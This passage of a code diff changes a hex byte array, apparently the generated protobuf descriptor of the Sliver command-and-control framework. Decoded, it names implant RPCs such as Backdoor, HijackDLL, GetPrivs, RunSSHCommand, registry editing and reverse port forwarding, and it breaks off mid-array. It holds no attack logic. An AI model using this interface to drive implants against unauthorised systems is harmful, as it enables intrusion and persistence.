0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x55, 0x6e, 0x73, 0x65, 0x74, 0x45, 0x6e, + 0x76, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, + 0x55, 0x6e, 0x73, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x12, 0x35, 0x0a, 0x08, 0x42, 0x61, 0x63, 0x6b, + 0x64, 0x6f, 0x6f, 0x72, 0x12, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x42, 0x61, 0x63, 0x6b, 0x64, 0x6f, 0x6f, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x61, 0x63, 0x6b, 0x64, 0x6f, 0x6f, 0x72, 0x12, + 0x41, 0x0a, 0x0c, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x52, 0x65, 0x61, 0x64, 0x12, + 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, + 0x74, 0x72, 0x79, 0x52, 0x65, 0x61, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x16, 0x2e, 0x73, 0x6c, 0x69, + 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x52, 0x65, + 0x61, 0x64, 0x12, 0x44, 0x0a, 0x0d, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x57, 0x72, + 0x69, 0x74, 0x65, 0x12, 0x1a, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, + 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x57, 0x72, 0x69, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, + 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, + 0x74, 0x72, 0x79, 0x57, 0x72, 0x69, 0x74, 0x65, 0x12, 0x50, 0x0a, 0x11, 0x52, 0x65, 0x67, 0x69, + 0x73, 0x74, 0x72, 0x79, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, 0x1e, 0x2e, + 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, + 0x79, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x1a, 0x1b, 0x2e, + 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, + 0x79, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, 0x50, 0x0a, 0x11, 0x52, 0x65, + 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, + 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, + 0x74, 0x72, 0x79, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x1a, + 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, + 0x74, 0x72, 0x79, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, 0x54, 0x0a, 0x13, + 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x53, 0x75, 0x62, 0x4b, + 0x65, 0x79, 0x73, 0x12, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x53, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x4c, 0x69, 0x73, - 0x74, 0x12, 0x53, 0x0a, 0x12, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x4c, 0x69, 0x73, - 0x74, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x12, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, - 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x56, - 0x61, 0x6c, 0x75, 0x65, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, - 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x56, 0x61, 0x6c, 0x75, - 0x65, 0x73, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x3e, 0x0a, 0x0d, 0x52, 0x75, 0x6e, 0x53, 0x53, 0x48, - 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x12, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, - 0x70, 0x62, 0x2e, 0x53, 0x53, 0x48, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x52, 0x65, 0x71, - 0x1a, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x53, 0x48, 0x43, - 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x12, 0x38, 0x0a, 0x09, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, - 0x44, 0x4c, 0x4c, 0x12, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44, - 0x6c, 0x6c, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x63, 0x6c, - 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44, 0x6c, 0x6c, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, - 0x12, 0x35, 0x0a, 0x08, 0x47, 0x65, 0x74, 0x50, 0x72, 0x69, 0x76, 0x73, 0x12, 0x15, 0x2e, 0x73, - 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x74, 0x50, 0x72, 0x69, 0x76, 0x73, - 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x47, - 0x65, 0x74, 0x50, 0x72, 0x69, 0x76, 0x73, 0x12, 0x57, 0x0a, 0x15, 0x53, 0x74, 0x61, 0x72, 0x74, - 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, - 0x12, 0x22, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x70, 0x6f, 0x72, - 0x74, 0x46, 0x77, 0x64, 0x53, 0x74, 0x61, 0x72, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, - 0x72, 0x52, 0x65, 0x71, 0x1a, 0x1a, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, - 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, - 0x12, 0x53, 0x0a, 0x14, 0x47, 0x65, 0x74, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, - 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x73, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, - 0x72, 0x70, 0x62, 0x2e, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, 0x74, - 0x65, 0x6e, 0x65, 0x72, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, - 0x72, 0x70, 0x62, 0x2e, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, 0x74, - 0x65, 0x6e, 0x65, 0x72, 0x73, 0x12, 0x55, 0x0a, 0x14, 0x53, 0x74, 0x6f, 0x70, 0x52, 0x70, 0x6f, - 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x21, 0x2e, - 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, - 0x64, 0x53, 0x74, 0x6f, 0x70, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, - 0x1a, 0x1a, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x70, 0x6f, 0x72, - 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x3b, 0x0a, 0x0b, - 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x15, 0x2e, 0x73, 0x6c, - 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, - 0x6f, 0x6e, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4f, 0x70, - 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x37, 0x0a, 0x0c, 0x43, 0x6c, 0x6f, - 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x16, 0x2e, 0x73, 0x6c, 0x69, 0x76, - 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, - 0x6e, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, - 0x74, 0x79, 0x12, 0x50, 0x0a, 0x11, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x45, 0x78, - 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, - 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x45, 0x78, 0x74, 0x65, 0x6e, - 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, - 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x45, 0x78, 0x74, 0x65, 0x6e, - 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x44, 0x0a, 0x0d, 0x43, 0x61, 0x6c, 0x6c, 0x45, 0x78, 0x74, 0x65, - 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1a, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, - 0x2e, 0x43, 0x61, 0x6c, 0x6c, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, - 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x61, 0x6c, - 0x6c, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x47, 0x0a, 0x0e, 0x4c, 0x69, - 0x73, 0x74, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x1b, 0x2e, 0x73, - 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73, 0x74, 0x45, 0x78, 0x74, 0x65, - 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, - 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73, 0x74, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, - 0x6f, 0x6e, 0x73, 0x12, 0x5c, 0x0a, 0x15, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x57, - 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x22, 0x2e, 0x73, - 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, - 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, - 0x1a, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, - 0x73, 0x74, 0x65, 0x72, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, - 0x6e, 0x12, 0x53, 0x0a, 0x12, 0x4c, 0x69, 0x73, 0x74, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, - 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, - 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73, 0x74, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, - 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, + 0x74, 0x52, 0x65, 0x71, 0x1a, 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, + 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x53, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x4c, 0x69, + 0x73, 0x74, 0x12, 0x53, 0x0a, 0x12, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x4c, 0x69, + 0x73, 0x74, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x12, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, + 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x4c, 0x69, 0x73, 0x74, + 0x56, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, + 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x56, 0x61, 0x6c, + 0x75, 0x65, 0x73, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x3e, 0x0a, 0x0d, 0x52, 0x75, 0x6e, 0x53, 0x53, + 0x48, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x12, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, + 0x72, 0x70, 0x62, 0x2e, 0x53, 0x53, 0x48, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x52, 0x65, + 0x71, 0x1a, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x53, 0x48, + 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x12, 0x38, 0x0a, 0x09, 0x48, 0x69, 0x6a, 0x61, 0x63, + 0x6b, 0x44, 0x4c, 0x4c, 0x12, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x44, 0x6c, 0x6c, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x63, + 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44, 0x6c, 0x6c, 0x48, 0x69, 0x6a, 0x61, 0x63, + 0x6b, 0x12, 0x35, 0x0a, 0x08, 0x47, 0x65, 0x74, 0x50, 0x72, 0x69, 0x76, 0x73, 0x12, 0x15, 0x2e, + 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x74, 0x50, 0x72, 0x69, 0x76, + 0x73, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, + 0x47, 0x65, 0x74, 0x50, 0x72, 0x69, 0x76, 0x73, 0x12, 0x57, 0x0a, 0x15, 0x53, 0x74, 0x61, 0x72, + 0x74, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, + 0x72, 0x12, 0x22, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x70, 0x6f, + 0x72, 0x74, 0x46, 0x77, 0x64, 0x53, 0x74, 0x61, 0x72, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, + 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x1a, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, + 0x2e, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, + 0x72, 0x12, 0x53, 0x0a, 0x14, 0x47, 0x65, 0x74, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, + 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x73, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, + 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, + 0x74, 0x65, 0x6e, 0x65, 0x72, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, + 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, + 0x74, 0x65, 0x6e, 0x65, 0x72, 0x73, 0x12, 0x55, 0x0a, 0x14, 0x53, 0x74, 0x6f, 0x70, 0x52, 0x70, + 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x21, + 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, + 0x77, 0x64, 0x53, 0x74, 0x6f, 0x70, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, + 0x71, 0x1a, 0x1a, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x70, 0x6f, + 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x3b, 0x0a, + 0x0b, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x15, 0x2e, 0x73, + 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, + 0x69, 0x6f, 0x6e, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4f, + 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x37, 0x0a, 0x0c, 0x43, 0x6c, + 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x16, 0x2e, 0x73, 0x6c, 0x69, + 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, + 0x6f, 0x6e, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, + 0x70, 0x74, 0x79, 0x12, 0x50, 0x0a, 0x11, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x45, + 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, + 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x45, 0x78, 0x74, 0x65, + 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, + 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x45, 0x78, 0x74, 0x65, + 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x44, 0x0a, 0x0d, 0x43, 0x61, 0x6c, 0x6c, 0x45, 0x78, 0x74, + 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1a, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, + 0x62, 0x2e, 0x43, 0x61, 0x6c, 0x6c, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x52, + 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x61, + 0x6c, 0x6c, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x47, 0x0a, 0x0e, 0x4c, + 0x69, 0x73, 0x74, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x1b, 0x2e, + 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73, 0x74, 0x45, 0x78, 0x74, + 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x18, 0x2e, 0x73, 0x6c, 0x69, + 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73, 0x74, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, + 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x5c, 0x0a, 0x15, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, + 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x22, 0x2e, + 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, + 0x72, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, + 0x71, 0x1a, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, + 0x69, 0x73, 0x74, 0x65, 0x72, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, + 0x6f, 0x6e, 0x12, 0x53, 0x0a, 0x12, 0x4c, 0x69, 0x73, 0x74, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, + 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73, 0x74, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, - 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x50, 0x0a, 0x11, 0x45, 0x78, 0x65, 0x63, 0x57, 0x61, - 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x2e, 0x73, 0x6c, - 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x57, 0x61, 0x73, 0x6d, 0x45, - 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73, 0x6c, - 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x57, 0x61, 0x73, 0x6d, 0x45, - 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x4e, 0x0a, 0x12, 0x57, 0x47, 0x53, 0x74, - 0x61, 0x72, 0x74, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x1f, + 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, + 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73, 0x74, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, + 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x50, 0x0a, 0x11, 0x45, 0x78, 0x65, 0x63, 0x57, + 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x2e, 0x73, + 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x57, 0x61, 0x73, 0x6d, + 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73, + 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x57, 0x61, 0x73, 0x6d, + 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x4e, 0x0a, 0x12, 0x57, 0x47, 0x53, + 0x74, 0x61, 0x72, 0x74, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12, + 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, + 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x53, 0x74, 0x61, 0x72, 0x74, 0x52, 0x65, 0x71, + 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f, + 0x72, 0x74, 0x46, 0x6f, 0x72, 